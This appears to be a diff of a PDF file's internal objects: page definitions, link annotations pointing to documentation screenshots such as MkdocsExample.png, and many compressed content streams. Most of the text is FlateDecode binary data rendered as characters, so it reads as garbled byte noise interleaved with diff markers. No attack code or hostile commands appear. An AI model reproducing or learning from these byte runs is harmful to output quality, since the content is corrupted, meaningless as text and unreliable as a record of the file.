^:HVLB3QrCr\WoFP9FD!Wu7 |0:ShA4ALQ!IA4;ukQ:XX4 F;u;uҭuNł:Pg +:Xzܩ%YRj_Q uC6$%w ިX̨3F\<єܩh$w ^7 G)4 NĄܩHVި:ShA3FJuվz^ՙB;u0;u0AU, +Y `*!S¥Sٶ3*A#<Z;uкIA S:hԙBP&=Iq 2j_=lې:SYQ:(;t0j_=i3Jqm{&foj_=21"3g9^YR@q}u ՙB@S!CSPܡ|WtB@sxI~i}OV?\S^{~(! +aXtx~Ʃ?R{wO'QN~wk̟+FlSp܏ ϿN=XN?];bZ|[W *;2e%5tp߭7 ؗ&ɂ+8C[vSʓw{#;3Id~F]Zh9^޶<5Y*K#-Uyv&[Ѯ:&0!8q.MXnSPQsGplv@9jot<]VGf٦\gz/*]$nZkT\򜩹=VԶv{n,s?wuIy g+<ؾF.e4^k윟W-ԟ߯$ؽne#Vo?~E</}2u2;7<> -stream -x\IWbq} It v?i!)D[^,HVaf{eFc/OuC\`60ޣ[x)m6yRλ-tno?o~!cG]W+GmB b -7f N$7bƣ:;wID~m/;(f/Dh"z]{4spSHb ʒI\w|_B'Lvm%va^A|D)ճjݟ҆t.<>RMxP2"/Uȭ1jh+YDZҮCwLTPqOȳB#ޚGւiyfq4*P.x2`]nu: E5za5_jFRiC2+CؕxE8C/YmA@2P].UF.$ˌ~5_*nlNgЮ+!e;WWCtx5$%C_Ȼ? ,yV3&)Rl3\x|oi^ռS99 3]_ծJrIeDB"M-cq+ZϨ]iT[BӬFW1 *,dž+|}U4bҷI+H>hTyʋ0i$,x - ;VZf,Zpp몘5ˬv_vw8 Y` -8o㘱{DZ -J7b[vw,+H,cu7Y֬XtcK+b١eկ+|{,#\t hpwL+HL^LcŠ a#"JZ\h=L/[\^k5ˋBa:JZ?+!&e='B$%iqcE5[// 5VH3 8D OZyO`._&r}?~eGesMqŨj  T.WIX,U,џӃ6D$`4|{ diY8/Jr т,}"yh0b_fXfYR tWjv~mi:s@S!f9a ezeYIי2A;^:k;Ixav7<<}8-LK'-VHzX84p_^H55p)u{#]vU[Ϣ{~l*U1NΩV[R2$H\׃vz&0HW>KF 9E?3˂i}# R 0!op\:mxP`I4T>LtۯpAEիSD**_BʒZ92z++)5+Fӂ UaAPxU_aVקƵ޿5|G _oȢdOg 9ިR/%+,шY~r5p\]}NC t/92 dbDBr5m7l4.n޵׼+8aQhIfګVsFsLշQULfz]P\*cFjx?m -`@\o=[O{Y)Lsn9I[½YnXI_B)v%H}HL??a\7ViVp CtczNbGk}Js'~D>_$3 '%/0ljYe^o[A^-N-ɽȓ'uqs9Z / &ے=^Es?;0:>Yr#5K/*@\$9!e bRݔ%FTh!@Wy ^^?|s+`FNXzI5*1\rJsm 󏼤 aHDt+>:AXB?M^:5uE"} >Վ -endstream endobj 875 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 874 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Filter /FlateDecode +/Length 4161 >> +stream +x\]o|ׯг=A@HK ȃ$rR%]N:; v^j=C~>wגOZ㇛oloؽw ?:՞C-=M5oz-Dlq)F?7|qf[콴L O?|q't=zSq7 6m(o?30,3TL,b!Qlf8 V'+Ww˶ywa% +t}7 uuvm0)Bሓ\8nwC62l8쳩w\`xބIIŅIIHMS„p-a Z1k&k(pEjQnI8nt%Fުp@#\.А0)41EEn0քzI(4۳+ҝpSP;Ɛ܈7D@$ #SH[*ՁM.ZɒSrܝSIK.&("W=5;R-+_ '\|.C"S-]r2ƂE$f.H]a"{"@6ČVHČ|,g`.-JT@^JIYpYHS 1ܔ/ +1/ +1{* 1[!|)*CRn+_@0-)_@RFC^j!l1'sFѲC +`&SY(@5/(L;UNd *_P1@]"POa@L!+q\/u0Yq@(:[ܩ$|&|H Aab%w`]r"f `ޕ/ՋNf;u0u0@/WqHDZܩCɝ:8ʆclA8Dr"$w`04J&Y:α8"IKAOSzA:言/(p$w +7ɝ:+_P+`ZHA&ST6 y7 aVqHDHACD+A8!f\A(N4:{4+P4E"M"lrQܣ3Qh,+bUqGW=:1# _D @T6e8IAHe@!fdŝ|-|E$ftڣ97٢di/kΒ{"ft{"XL"3P"0U:KU: â|D2;t0%B̩wB{%fTъ{%fGlP(`F˘TBYbK;tj6喲!ft`{'fDމu0{l%8^DL*:jU3:W$`MqOA4̊{!T:FE!$ +q8ND$S!jJ=Q&lN,SjZ=Q1j1!QaVu.SQHhYͫ' e(~%w zɝ:~l9u0@UR+eCA.!%`u0XWk +:$wwܩLͫ'WWk +:pC :+ɝ:h/HTzjM!QͰNDfܩ֓WOAkY)$ꠡSܩr%wꠡ\bF|AރC꠵.SNjj^PZSAˮW%W+uWA~6dyTk +:h +ޣޒWA55ɉLCy95^1Ǣj fpb*Gb6TzS8 lZSk +:v: W"j^ꁃ<8 I#m}~ +* :~;?pzjG7[`1;8ۧ1zQ'ȱpOt۷_ogmqbksV ;:A{r'IHπRvtc>ǣS<=s|* >_?#>S+ST<>DFf{8>J#q#Z Ϭ8cJC}ec=-[CWy5F<.c<|K{ySzٜz_xЏeG Gsʰ}9Y*/]pZ#8]D:i\r"l90=.}ƊUsC Xϸ`]q ؑ lUIgy* i^t$Z6ۓ}7uՐ]7W8?@}r ;iumsNb(-4xnW#5}Ia^`[*'mgD^hP;osSs><ϻytGn+<>OϷY1}8#2[ay1^l"b;ݸ Bx~{;0Dώ??箜u XŖn_<y pkɷ\N|h!3Ϗ̷)'pl|lB:7ߥ\Zٜ_Qh +泈=Sv&c-Dk@t<aH|>ёH}FE!i6bѶJviFD4Qܗ&PAmβ= ŋ-Ǩ߸`'\KI0ƂcdIhuݼa_'̕P28kx|~.N_vQd-D{:\Bo_s"Ny{ךS^ver.i ?"fڑ:H+'qtw I{Eߞc"3 pʕ_`k +uFrhsyxzb9 o|;83qάu>?Ob+Oϥt%P׉;wf[B>z1bպ<l7'$O,rǁ?wT&9Xt#b +i*ppӟϙߋ*Sa%٪i_;"цo|q7"SPW4OGyl#b=fΟ]oY](W0<bw9y-v_=_B)[Or&!5t~ 8#A;mV8 ~cXzWEyq7x? +endstream endobj 876 0 obj << -/Filter /FlateDecode -/Length 990 ->> -stream -xXKo1 ϯ?@8 -@!!. kәiąe78qy *ﻟ( qKi\`rFчޡW@ZZ+6Zv]Vy#)`=G{|@VKէ_T -3aF: ͓ۉ#X0Y|G*XT0P" uqɒ]Ǡ;YR[icr6H6D ~P -;s1<(Bt1& =Ú`؋D$z) oж I5i&iD #JuL2(fcό.M<&a__:QYSht)eJ9UzǢGZC|\1HV=A(zӠ /AaAC ס+tY/Jonfm#B&sQϦ!_q-BtY: 0" ׀+ը%Ph[m&Wh_A[Kz@k.I@emni9i=u5\MXe/klc-ȕ\V; jlz88L9*f7ʩš\xo']6IAwL_Svw1JdrTAuʃ34ӏFHK49O7۰=( Ns|3 "-G*数wLJKO}FOg7;nYXJ )ɹ²p -q`ktPыRQV'WשiFqxYRF&%R}W_tJq -4%][CKu]:wQ)'(/%.{dՉiye 5!*X_Nj3dhC9L2PdDA*a:RW"8^3փTn՗5AdO -endstream -endobj -877 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 876 0 R +/Contents 875 0 R /Resources 4 0 R +/Annots [ 877 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +877 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 153.835026 39.386457 138.820626 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MkdocsExample.png) +>> +>> +endobj 878 0 obj << /Filter /FlateDecode -/Length 1625 +/Length 4055 >> stream -xYK7ϯs , ;8lb!WzfzTR=U&oABǝ5^~2!㎼Qл) C0IDFݫ_4G2Zh 8`JOvO߻{TD-_:E'HYG%+ӑ߯ȸWtWߨ0w̆CT2SǬ6_ߨϙlIߦ%X"@ ݓ8%owX a7{1{j P FhE`M#Dc ~3=`RrAxaƣHM$NC㡷g!Fu CaF9\|ngXi}S=L - %zAcR3(*dc@ - -*]!~ -ILX~ؙӑD1 yN\Ou;XEX碋~>d:!)Z W%to.s?k .$Y W[UàֳM9oL\ =_MJý56r)[]@$P8$K)J_q>ozuLʜz =\Gg*/Yx< @x±I~o{u4CKDoʝڸw̋i<^ Щha 0r*uN慫RSip#v19ܹ)EX>HFZ!"'~ʃ5 ۛ_gy|Xm+ -^G)b%[ ( @'Ed#m b0~-P]o͍oknl(͖C]W! t]xZZd -&&N%c- 8s,9*5KiQuOCʯZJތ"-ORw &-F%!S0g/m - y}M[֙DZ˒K u@:YDž/v5T_q]a-;qDF7:62R{kE&N/:A 1o6&hN/gNjy2.Í|z;p_yH)c၌:$@po ;7/o$7Q5 ['wKDyCxKpuR_#–TWoP/{+tI)NMG{LWo1o[Cڝ&jwL67kGNY.Ljz$Ů޴DŽzĵބWdamP<&x;5%%SQ[ZUqܪX#!r:X7dWqWMgFj08`miK!A6F6 -;4&ޚؠy4FNoM/4ٯ/~|wMFeߟGlwts+#M&ӛ줭E0v+>~eHY׽gK\&CA% uRPAp`hT ,}^Kb +x\ˎ$WY[I2l>H>Xa3cpDu=X=UftwLf$ɪo<\[O?=ٵfd{1}=ktzkK ń7SfOO?<מլz !kLpxv^ѽih95K) vo]+?|5f}v-u"5i@m0P_rcGEG-gvfO  F7D7?7)^ #MzNQ\0\Ek(p-WK„pp@%TJ)ҍpCpဆńI)Ҙޛ)`R pRAQbF1!lBrwnXRr뮈kL^aSsn@nMɒ{`ErŅ'B TpEkH9ٚ/SӔ/0%̵t=9m,*_$bFRH!8tbNArwbє/1NH_Pq\Z!x^@^xV9䞉ٳ^9|Q9|Q9UW繡R6ks hn;ϑ}$JT aӈ-(_4bNURs4ɝ +JFqR/|AdBTܩ̊;e|AuH䏈H{z̊{:fE | ɝ:juHL6HDJ"#uC(SS;uY5+_PS]:P(d&S# +_P#[:k *H;ua(S#GZsJM:HANsVbUR%w ħ)_PCQ:P)_PQHAn;uiWI:ܩMrZzS3ݔ/HY!u#S S-KeC̘A(N4:z4+i98DRRw,a➌Q +_$#Ų!Xwo؄@H :2 :E.ehEr$w ۲E$ɬlEq>_KArO uVHČE"fƪړ䞸7ْdi/, 0ל%w'f|;1b1C*31[ܡZ/ ˝|dyX/H]r^{W(Č,|QaWbFWbX*b6T7dtAؒ;t0$w |:rl2-eCX)Պ{'f||A!w `TRݩުA_8uU:?p禸;u fݩXtb:B\"8uJA@;u⭶ԝ:9a̘;uYr"XնS100R NKA&;u0YVNrY(8uůNDQ/S# 0GQFȲC`dl9#$վSuuh&SC7ɝ:}uԙS\:N X+_P"Q:bRg +N X +Adɝ:hվSeuACSʕܩP:huАTR-Vɝ:,gYk<:U6) } zԙBneCQ6ĜYR 2a":7w 1scBsâZqŌB.\)d He=˳l#l4 1c˛K2X 0WJ#av:F% 1313$+O%B1HCPȖ2t0bxԙBƂ2Aq"zWXJRj`QČ*HqČUވ9f"lPۜي:"}u,^:HVL!C#Qr]rĜW/FP9BD"W u AK) uP$w Vɝ:9}BtV/ +u #ɝ: ɝ:V:T|ADh3BLHTYRRվz&d `B,6$$w ^X̨3B\8Дܩ($w ^ G) NĄܩV^p:S(A3BJuվzՙB%w`(Wd/!Uɝ:.ŝ:ȲEއKX+_P:hKAk&SW/A+*urP+u<(:WA~6dꠅ*u,):zO;t0j_BCg :2m{$f/j_FbNE)H(䞈YR֛WG'iM)T`hK0;w oQo8vd7<'Kg*m` +dpJZR +5N;Lхӣ0#>M34ac{0҇1n톼1#Rs#/Gm&vm~~p!M˨½b=zw^r._ H~yyۅۅdQH g3oK(.=hidz*7;p丷bJ[GS'~!Vb/&N. }@ޯ߽϶xk}grd6ikw"׷8aޫLgN-}Lw s0c_|湌Gf#Q9r%G 29'̃?l }n]8kl!|A?uv9n[;a ~v'_w6;y+f&c6.יxe_6o"9yuolH-vjw~ !Cb4Le/#pecYxۿeGw!Hth R(}`ڰ1zk`>]%̩`}W},OmOc?s9G_"y)ʖ*bt -\K *_!|G\K=N +ZEϷQڶͰwF/C5YĺaP֑ . <>E0rjPNlsgT0OCgwWVά%C^4dՙ6LAƔsoܱӾhpuúCցSԛQY +ZN ֿ9%ck.`ԟok|҃y;] +R[']>]coI㙦dzfu5 ?k[Ku>ez:s9qM=-'<?pK*yHiv=ۮd\5/3ǥ(|ԐQ# +hz;kCv-ʥ?q9PM]\ƆիZnb+ۃRgMXtz^Y݀+OԪwjS}sn{ei$`ʮx|s߷f)^ugW73gUh#F{2hKQ9Q{ϲ+a?Ao?q5 lZ}GØǖ\=OȲJ(%5=wh#ۃec>f{l9M8d{Mn"jaqe˽q]k9p1O{mhQ(@9Jk%ӶT_7> endobj 880 0 obj << -/Filter /FlateDecode -/Length 1774 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 517.798743 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MkdocsExample.png) +>> >> -stream -xYK7ϯ!, ;8lb!%Rz{g d.=TJ-}3(<>rF/7r}ّS.tv{apF"2L])n@T&!}{~hdUx6py ~qP$a+y6KCLlƠVFCZHm!)D~35EQagQωI?ǡ0=߿{1bNk{ +^s0[po:-7FUk y"k=^9:w3ԕXӗ :§;mח=wU*Nn@B# -8 f1+}wmaAoQ@ 8N}O-foC`OsSƸHo82IzjӐ?팠"Nî%NZtKb]we֨語O Ϳ,ɍ `-Xpp--h1 ļFxg/YYL,锿^__BC>V:G4Ib!?2cU'|{|͌cL7fIU> ,B ʤ:gGc.0ϗ̣`Q3IT(k6&qmʟ]U -f*ȘD42salK̳0&kw[oyuQdSw6EYe^{G]|OiL4 2sheE0Ct@o'MZV|8|ONR:'>͜|7/Kı!^v]Xs>Isox`dql[chb#FOfxj9|?d€{K3V48Aj{ȓ#&M=>cN+3vf%ҩ@_JVր~Us%#}AD6)x+90 [ -"Qh[kCWƘRrP23ps-Af`ՙD>_LDH6 שK:5Gsi~Y帾޵u,8Jnv/W:ⴚ<0Y8)~ d :p7`ײsF S\ܱ_'%as_-K`aN_BMŰNi%}cDɖY~3_VaMӓK͹,SmMqkY~Ͳe_ƸaU9Jʹ9rU -BaNپm\ + y?;aCԸqsQ2fX\&m.&5-3_̝c#cTr]hi?TW=7%K \ɦ݌x9%m|_)i5BnNmm5a,*8R۬C6c|ۃ - W,\-¸BH7@9XoNhk~1j3>WAP(7;S$WC7;9~$DDif[[r,{ v:S[̬i%Ql<^>>xIQMP^{5٘tΜlY߭+{pw]~noX*Y׃|:ł)ܴ$]ɵ|B@L<, -(L@_݈Fs̻wr{ E\p7/ -endstream endobj 881 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 880 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 517.798743 297.637795 502.784343 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MkdocsExample.png) +>> >> endobj 882 0 obj << /Filter /FlateDecode -/Length 3105 +/Length 568 >> stream -xˎ_g撬 X u&vݞ%`"Y%5Yh[WU%YߪG%$32/x}>.9@gPJj tߞO?}.pR:Ji- -_O.J9D@a(}V6@A5icdo"-g X[^ jae%L&қlHSF(ZOw1R*AJ/1d=9yaKgh}i6OBWVQ-@&4{dMR >ݲA\e`8i@ƠոZg;۳}Hf`DOco -_ձV[d{Z'k$M7є!X{߷?ϖ).sF ˛{? Rh5Q`( 'VNDbA&?/ߟcB&o2^DX1?nLSO gOb?+O_Lvcf;C‡8Iΰ@`nˆ(eC&*\E݊a.3B/KneFS,4RqEyszz#,C tRo -}db\V  Qa]{oY{ -kSǕTjRHbj"UJļYn'L*eڄ+>jz Zݨs(b,x<]ODlV1! ,=W;SB^{ھȲdL  -QB@5y MEY{ɵ'A~8Arg3xYpXc -*׹?0DdHt2TaHY}R'3%0uVRU'r_2y| -yN/j3|Bm]ZT1_M#/D191b**}P]]rTLtW4} #'NV:R9/Nc J13/Jcn]e= P{!G}5uN(m"QK!j86Qj[KsܞG/=ߌ/yNI|#cX[$2Ye!wުqriUKa~Ec}Vk!p? -bb,kat'C{)̼[MKNj>;_}6I Lg}†y~X=yiEۋëӖWVP!z{xnr8/2pUI7Pzh+@H b8^ލ g1",f[kL{S:$ΜprLr2dUҜHSWsJH,kG+5|G+֮NA#<=^a4Z h563;N{}=m*(mD/ɴxy.%@>b WK]M$Dvn{@0BKTk *^5O%WAZQ'4?g2wH͙89 -c~wxoXoz\׹o\|[?9Vca{o8̍Sm5R53yܝ;86: i9ׄ9U'_@5Yj x+n}!Qo"p78mvS#ƩBj5.xΔT}Un endstream endobj 883 0 obj @@ -13189,23 +12357,11 @@ endobj 884 0 obj << /Filter /FlateDecode -/Length 2678 +/Length 382 >> stream -xۮ_(!9}(ض))?!5#%S{"%r7R/:P1ᗃV5+w\rA&cr1DNk:ku8v?|HVC GcBptJJ Kɟ\˧K* WH t<҆Z+<Ҵ&81Fs3?@؉Q4X}?6EkkH@k$` a,јv}ϟ@&'328@.0@;aso?1L r/e oFAZRiC" qdfυaD7)Tگk1DͼÖIZPrb`2f1ㇾ% -0[p]#r @Vhk7^,S<<{c5D7˸i `NY[#+pfh <_> >A:/m'n8߂}kD~@_鐢k( ( }K_v-[ جvh -D(Ij+Й[ŋ\3p'9pnm”49d}'!L;1 }+fQU'M W8'kȢs9 jjS'? -eŵZWp\fS8l؞&Lh/58pӭz(BqW\BZF8k @C!&J[b\DuR\Awy^)qKbp6\"Hk IQy}G0Ckqj&.F+Nג9EFZncYD~6#'-Lϔy*X0}$c6aʅF| JXz2 -Γ+T] RE8W/ވ%[D -Ow!*jc߄4x&*hbհEWZo `J)WW JҰN!D\;)8aplSV$!_%9Rt~"k.}jxIlU7U7A>(fĠY=IX;  s\'Goqo."*{]w5583+DAA -_"DXȎGoQ!E}g">YF6P[ N](Y~cu|.&^L1K-N!be@UW+3^a6 *5'W6_`ڪe畡_I//Q%8;FI˛. -O䋨0y_*k κ]tUY -MpԨL_ͼb -(C~A]&Jr=yC`xGɊш6P)o[坲"#)Rԭ/z빖US@v n"<ݵܳcަuэ9#$0.)މ'$e5!VDViێک~ߜzs$ãO,G`I)п5c=IZykSKR)!,i&-n)`I}HSʑy?!!Ȉ%D/ Vkw~aE2]'Z\,Mxμ:UuaᎼ1ǣ/ъDTJKxIwmp&ɑW%܀ \Ĥ8f OπlLH6iTqDvEx' -?I1 +xRMO! +b -fF=11c> stream -x\͎#)W$ Xc`lA#yy Evj#1-M?>R2GM0J c/_ZEPn@׃*"O$@3-a?7u8\ɇO.L'&,LLV齦>;fWCB2Y0ļXBz^L d rrj1CcbQ"V$]L Sn%#*hZLHoNI+6&NlSp/N&NjA!~xһnr$M,1/g[o);eXq;ѥ#GӒ_KdU!:DV܄ aZR]%%½R ߣp6UVjʸQ̢O >7JǺŒV:bñ@,ZMa.gOhL믟,93ÚbLy|OIfխ,2LNlj"3X]O0*JݎX*haG"RuKtֳ}IHʺs.pxr̻rKmSl -mXq8^B_j4r1|Zs -6riK7AE݃Ɠ`AAfe]@}j=\PCޗѼRǠ{PhZ `8" `YްY텛A8%ިwfa?e;#*0=mSlW9ejyܜsp'1<Ӎi5jom6,7Zg"x qtnqtF$ΒcR.5n,^]-CԳdkwwӢ_C㬨ûee8PChK#˖#SC .0[\[9N}Z"=nw4k]չܨ CcND @S4lȵv*DЂqT{دZFi?c3eʁ'U28:ɾwJ;oї'V8s`bw_žkt-Uf/UBTSߦZDK*h UΎWO۔$c;  ND:CkRB0?]sg"{x֏?Go'nq?b9O 6l/{B@OzQ,x|s 9[ Qخ'gZ@*uQRQ?ӓՑeNi7r"is~ҥ lGk! F2Z9 -WFGmj*MI\7Nzr@ ysҢXzj{`.aHKDef.N&M?aַD?9mp_ ue)puV{"h.st3|8l}a{ -{7TUMwKz+kOKT`PRݩq]p׷Bnc,bmj H;BOJ_hDȭ -c6)dc+ nXӗ ꙉjW>to7u{TE*f}R:j;EN&#%"0F;QPVhSS։MQyq5ƪw֬uTllThztړ|.Fv3| V@ } :oެD|-G5ND VdB+f"yxM˫ۋLq` a<\`BI8=gTq3xE4x#iŦ=NqSφpDp->rHDXU!pKiVSguAɨ2x&L=S~ZvDGn B !h ?)> stream -xVj0+U, -m m).&)$d`BYF3֑{l Or.);ܙ{C.)j;&mRQIіBΜM3=%pm_w(dErY~1'6ꢦ{O;L -TYf~x98γE+^QE'W"`>싉W'')*#Нk9˖ޮ OF34ØPh'3'g矾~>ɑ䐁m̏S|]b% -Xr(vB!` VuPe\`-|Ss I%QI.Ρd[k8h%EWqrC\J.D -`aq5vsVMBJצai5[k,ҎB}c1#f &229lZtK-ck1Bl^YN|)z0(,4m~no GfO=S>~#KUKW6̀}?]Kf@~,ўtUBRR!?G݅/!滭_ [GP Hut074Dd:fy}y w%R]j`UVmX&Cc˸o\rT~ +_uh0R͡'$KŘw2k|* endstream endobj 889 0 obj @@ -13279,15 +12420,17 @@ endobj 890 0 obj << /Filter /FlateDecode -/Length 1229 +/Length 2396 >> stream -xXo6 _SEkt!]; {r}ilNue8gS#EV>߁&{qqJsB;[h;1]Kf} 9l& b=.L&o8#@jz̯טWWYo ^ܾ5T&TҸyJ)M.OPU* вg >2fQtlВ$vk3@¢d"\yfMiAZ 5\u-W,ʖe:Q=eOYslo.sZPAH -A_x`㒓§ԙ@2 “]PMJe^nnBDgl\O%m'l@{URˡ))a]oo+B.k WhD)I#"NK N$;vOZ*NؘVo*6&\{NnD2({qX˿M-D9n>2ܴMn@WyXvS-u<,"#Bwvr],Ub~&ݨ?e4"IOT&rp&4>I͜lbk [)m{j&`m쥇wVû|_gPSݺ _nx3 4E9 -$m1ʩ/_ -r2+ںgPU<ԽDߵLu -z2zhU%CbvwU[uOwi߅pt~3B +xZˎ#5+j!" 5Xӄ 4K._ױˮN7#:IR.y%__ׂy3gxw4?sHg^8\xQ)fR-8|滠y!%3"XobIOƗ?9FVEJ7FzDŽ*ndRWsnU_D2a̹ Tq@JS;`+qQ!תiKgx|uu c$a21 H:A^۞,#uo{A`7Xo^!"T7S2%=\an.d&%\ 9^ҨB1z& ͥCBAA^YEhH5^bd`Ra.)Tc T(PUmPZBzw2aWd Ry°[Ht +h|^{{FEըǹ=B &Md /ZžAQ]=A\yNj~l7v ]\6*a"qT"P6VS_M/ߴ6(%?;CxrWoy~D^臏RkSH`PVcskT;|)^vU]. Y)HLBD-IEr_-(TX~1`zX^ +wg}0BskcFLFsxE> 'CGO]Ҏacͱg^|9|Ls1鈚ej Z'4>_x,@tBܸh kvNM qgz$BL;t3*gF'x鈖Z/Z5TR2sZvse^5hvF j^_j!S^7'nTAPuD+ό J3dZ~-J*2X-^IU7.FCL8,BAelZD<@;qBPm^. #j(QM%7UKpUaU =/'>iUzxÙv&҇[`*r®$paPCsy "k.s"WoHY:E6< ls)^]`5EshaQ>=XA D}:GeWYQf1 YƏ_C> endstream endobj 891 0 obj @@ -13297,218 +12440,226 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 890 0 R /Resources 4 0 R +/Annots [ 892 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 892 0 obj << -/Filter /FlateDecode -/Length 3296 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 135.094122 39.386457 120.079722 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BlackToWhite0.png) +>> >> -stream -x۪$|<", ⰉBff%ZHgn*սJV'~?J){,n "D?E+,x - -RRl4F8k _>4>D#I)SуK=)姗JO~yC@_8:Ie4EtEB4-OxǼ0ګLaˉtXWމιY -$C:1˹ -2>|~O?~sR^NJݫ2qΤ'5[c}"F]@K t뉅l4g9]VU4)agvˀ$is$ҫU;Kl6%+.Xj(Jكۚ\Һ{^byiw}v4!Jx°mBnOۋ=EkdA -TN%k -,, L иx#oOئB1RlM4R%Y 'dgm9MwMc2Lq&ۻA(`aBʵ+۷lxVh߶͹^%[(m*ݣt bm}Ȟ#`umaYB2Q\zٓX8b;Q6Ͳ[V2^-ɟh!6wWx;a2E> R -Erϖ?t N!򇂘LppB1Av0KM汐?3Ucf;)@7w;5zlTN̏839go2G[{JfS:3\W;lo6uX͡[!Qem&vByPzD֖1\2v $71D`뱇 o(z0^&Y[nڲux}Y1QxmU#zJ/춆!-o])A:t_\oq9XőyGFEsqރjܛ,z+T*իR5}˹nXO9bSP&|Xjy=eƛ 2L -Yge{s:j|+Pyљ \ѲJk{R Ң+7\c bxu؋$RJ5ܭGhrk$vdasŋdQӲ22K6̹s "QD0ѧE/>§ΏA/>RJ"D%G׎qKCPecĽ~mk_*m^򡴎({5pjJRF?~δſT\Kj-Ӳdxs9XsG6zxK^o_?酷Όׂuk~_όZvʋT/w8^x|380^(oxQ"{`/ o=.jm_\fYM4rU+汻Rj|'@NW< mլ";HUnxtwƒu'npS7$RhŬNNΑfx8a v![,2k$xWe$}%*^8 :U7bo-{VmيH^3u.#-h;(H}o8QYݻc-w#?+vRv2p5Wi)ڄM[(jp LL⅘KtրaҍB~8ze7rpй*Eh@-pECv}YBo1O' - F{#6j @9'(SW\۩Z.Nt> 7 -\vS=+9)A?)DWx1OOM 1᥆ԤRZ"ߧDl}zM:J%r2D͏OQW_UUxnί*RNnޱkuƇ @:j]6 a%Ob\l,%țO ALa^ ,>(VDF_I|^C&,1laڕ -endstream endobj 893 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 892 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Filter /FlateDecode +/Length 2607 >> +stream +x[[o+~ׯ( oᇠm{>Hk+(pK.g/O!kEqpKQoBÏ/g>̯/Gk;FRx6ȃǟ?0FY.4ߜ@=\Ȫt˂)8 d953Kg|#~K4'^O'yEB@3X4p8YLX ۗ”mѩ`5F:*/I,r9|'AIhtPI +37׉_!Q1g6e0~>|ћƢ"1M"$•H"8#WpIs.B*$!8^2=7H|GA(B}Ɏ<3-hrMcr0w/3dF Z`CKLGlaz#0xaxqz> I5RPvcX794G Y׉[XiX#5F~ Xg9qň 1:Ԍ4Z5 bOdWo7Q~qVjڇ5Ӥ&`obͲJj$!ɇhfߖN5E,g/*Ws$&mr&Do+>a񸈑<}L̫:&۩U8F +Q"R +Mڕy%a * GP4l$k3ATƆf왾ܡ4զ 12A{e4ҥӈHd)Ȍq WPXi&:U!{"ݨ&,#uD.:Q$]Qzh?{$%ƙ]"D:S \IKrh#mCn繼_KCUXf9o>0vExU* "*>Gxj0&'$Xso0Z+Jܜ)ͯ\. `BVf԰W'"mQMaGpԽ L|jdb.Wnx{M}sTddBkvz61E :VN6xez;\Kb3K[2tCgr>~̬^W9ST/y@^s8oDoh4ΌW8pf4N?S6w/f<nu\:*LǪzxO[AI3f]Kj.2W Ыce,V#=wcDd{4Hmu]=sO^^;앋&9w*g!CrhwDV6NwEG]lca ~Z~Վ429|NR\KsrWkPg=Èp=uϮSSi[;mݚ淺]%AtՖw`!N^~udC@cipX|{ˊeѝW) U{ʽt`e-D +h$f~92{3WwG"tx0njtf9|_PSq/.N˟W)_v/-xۋq1(j4*پ=p׮4R}r}N~{|Ϩ-T<oT^?Ù1=É)FoW~+~f(<겋ѹ۫n9`0=ʏ[u;YB̽14lkWհl>Z,|? cBbvd3 ZN6M&ЎP|pkz0.ޯ:qxhב!ZyzG:^-O dBFn{W|m=YtSJw>?ґ֬ׄ=uy|6$Vr;-(8Mtvxh*zЁt/"ę?%mHAXe "N嵐Y{[v}|<5`+&=I?B9;\ONΧg}Tږh04eYt.ҏEH/SI]Jiۏry f&`^ړN5)s@>ؙ19 +endstream endobj 894 0 obj << -/Filter /FlateDecode -/Length 2945 ->> -stream -x\ێ}x)^<H$L.@ާ BR,%ZVKY$ӫ-QdXuxHY0F9-9o>]zKC8~~Q'ik OV8 -J=W`'!8%)wgx/w>k&"؂_a#} \WoPVZM"BrNIU NpOa`U E*V ߃pHQ -e(5^KEw}u+Lr(p=_f# 5*fH hF=;kG^ue=:tY1\;&J>wXהmg0(_R.o3zG\KJ5yeunoYfˉ8 FٓTcklt+Us{ˆ"ի u2%@tڬlXs8:Z]:g Hn)gzֲϗjoyd`wd I]YvX>ޟkqѓFY R!X(KrM8 I[^)lEL[T X$su}}Gx>;@$;:YyX -g+Ⱒ&Dn[ Ԛx'K}ٲ"sm6$jV.ICPVjQh8B}"'C_ҳ.H2AzY=/Of3|ts@y ފmGMd=|.&5eIV^@@a2; An.qr7|3&4g/LEk -rBz(ga+t# i.h3¡aӯW9gMKY -dprcٵ;sPM%!:U)ش(/_Y-QGv|菤 7SOyO\$!1:Ȕ\?61:(e-#s9/P 8kٌI)5VbUU w'YҚ{aa -+s1{*T(YP,~L,VK)E7Yc͚ 9E)SʏO똳0Sk~6ɰie@y㶓_OdvzԓΔEV| rgvCj2f?odNF#khLXwfMF`O#Lxa~dԌp6 *D-%v$M.79ֳIO<\G*=ye.#yk{Q)Ғ??Z""=OI7Ș;aVzƹ;Y/nh)yأ!t|5%frt"tEEǑ7i F>0Us4zY0UGb#ti#" tqn܉w`LFn.[C1.VJm}b$}SCRh:SZCոnP2Q˳ -ˌqDiU-)R{n鍕@eN\\W;bsM\c}; 